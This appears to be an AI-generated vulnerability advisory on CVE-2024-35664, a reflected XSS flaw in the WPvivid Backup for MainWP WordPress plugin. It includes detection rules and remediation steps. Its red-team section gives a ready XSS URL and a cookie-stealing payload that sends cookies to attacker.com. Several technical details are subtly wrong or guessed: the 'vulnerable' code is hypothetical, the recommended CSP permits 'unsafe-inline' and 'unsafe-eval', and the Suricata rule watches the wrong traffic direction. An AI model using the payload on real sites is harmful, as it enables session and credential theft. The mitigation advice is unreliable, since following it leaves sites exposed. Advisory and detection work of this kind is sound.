CVE-2024-35664

Executive Summary

CVE-2024-35664 is a reflected Cross-Site Scripting (XSS) vulnerability in the WPvivid Backup for MainWP WordPress plugin, affecting versions up to and including 0.9.32. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim's browser session.

As this is a WordPress plugin vulnerability, the attack surface is limited to sites running the vulnerable plugin. The CVSS score of 7.1 (High) reflects the low complexity and network-based attack vector, though user interaction is required. No public exploit code or proof-of-concept is currently available, but the risk remains significant due to the widespread use of MainWP for managing multiple WordPress sites.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and is not an NPM, PyPI, Go, or Ruby package. No supply chain compromise has been identified, but users should verify the integrity of their plugin files and ensure they are obtained from official sources.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – The victim must click a crafted link or visit a malicious page.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Some modification of content possible.
• Availability Impact: Low (A:L) – Minor disruption possible.

Threat Level: High. While user interaction is required, the low complexity and network-based attack vector make this a viable target for phishing campaigns and automated scanning.

Deep Dive & Mechanics

The vulnerability exists in the wpvivid-backup-mainwp plugin, which integrates WPvivid Backup functionality into the MainWP dashboard. The plugin fails to sanitize or escape user-supplied input before reflecting it in HTTP responses. Specifically, a parameter (likely page or a similar query string) is echoed back without proper encoding, allowing an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. An attacker crafts a malicious URL containing a JavaScript payload in a vulnerable parameter.
2. The victim (an admin or user with access to the MainWP dashboard) clicks the link or is redirected to it.
3. The vulnerable plugin reflects the payload in the response without sanitization.
4. The victim's browser executes the injected script, which can steal cookies, perform actions on behalf of the user, or redirect to malicious sites.

Root Cause: The plugin uses functions like echo $_GET['param'] or similar without applying esc_html(), esc_js(), or wp_kses() for output escaping.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.

Vulnerable Code (wpvivid-backup-mainwp.php):

<?php
// Vulnerable: Direct reflection of user input
$page = $_GET['page'];
echo "<div class='wrap'>Current page: " . $page . "</div>";
?>

Patched Code (Hypothetical):

<?php
// Patched: Input sanitization and output escaping
$page = sanitize_text_field($_GET['page']);
echo "<div class='wrap'>Current page: " . esc_html($page) . "</div>";
?>

The patched version uses sanitize_text_field() to strip malicious content and esc_html() to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WPvivid Backup for MainWP <= 0.9.32 installed and activated.
• The victim must be logged in as an admin or have access to the MainWP dashboard.

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., page in the URL).
2. Craft a malicious URL:

   http://target.com/wp-admin/admin.php?page=<script>alert('XSS')</script>
   

3. Deliver the link to the victim via email, social engineering, or a redirect.
4. Upon clicking, the script executes in the victim's browser.

Example Payload (Cookie Theft):

http://target.com/wp-admin/admin.php?page=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for suspicious query strings containing <script>, onerror, onload, or other XSS indicators.
• Use WAF rules to block reflected XSS patterns.
• Deploy browser-based XSS filters (e.g., X-XSS-Protection header).

Hardening:

• Immediately update the plugin if a patch becomes available.
• If no patch exists, disable or remove the plugin until a fix is released.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use WordPress security plugins (e.g., Wordfence, Sucuri) to add virtual patching.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing page=<script> or similar XSS payloads in the query string.
• Outbound connections to attacker-controlled domains from the victim's browser.

Host IOCs:

• Unusual entries in WordPress debug logs (if enabled) showing reflected script tags.
• Modified browser cookies or session tokens.

File IOCs:

• The presence of the vulnerable plugin file wpvivid-backup-mainwp.php with version <= 0.9.32.

Detection Engineering

YARA Rule

rule CVE_2024_35664_WPvivid_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting WPvivid Backup for MainWP"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-35664"
    strings:
        $xss_payload = /page=.*<script[^>]*>.*<\/script>/i
        $xss_onerror = /page=.*onerror\s*=/i
        $xss_onload = /page=.*onload\s*=/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against WPvivid Backup for MainWP
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads targeting the vulnerable plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - 'page=<script'
            - 'page=javascript:'
            - 'page=onerror='
            - 'page=onload='
    condition: selection
falsepositives:
    - Legitimate use of script tags in admin pages (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-35664 WPvivid Backup for MainWP Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page="; http_uri; pcre:"/page=[^&]*<script[^>]*>.*<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if no patch is available. Navigate to Plugins > Installed Plugins and deactivate "WPvivid Backup for MainWP".
2. Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns.
3. Add CSP headers to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none'
   

Long-Term Fix:

• Monitor the vendor's website or WordPress Plugin Directory for an official patch.
• Apply the patch immediately upon release.
• Conduct a security audit of all WordPress plugins to identify similar vulnerabilities.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.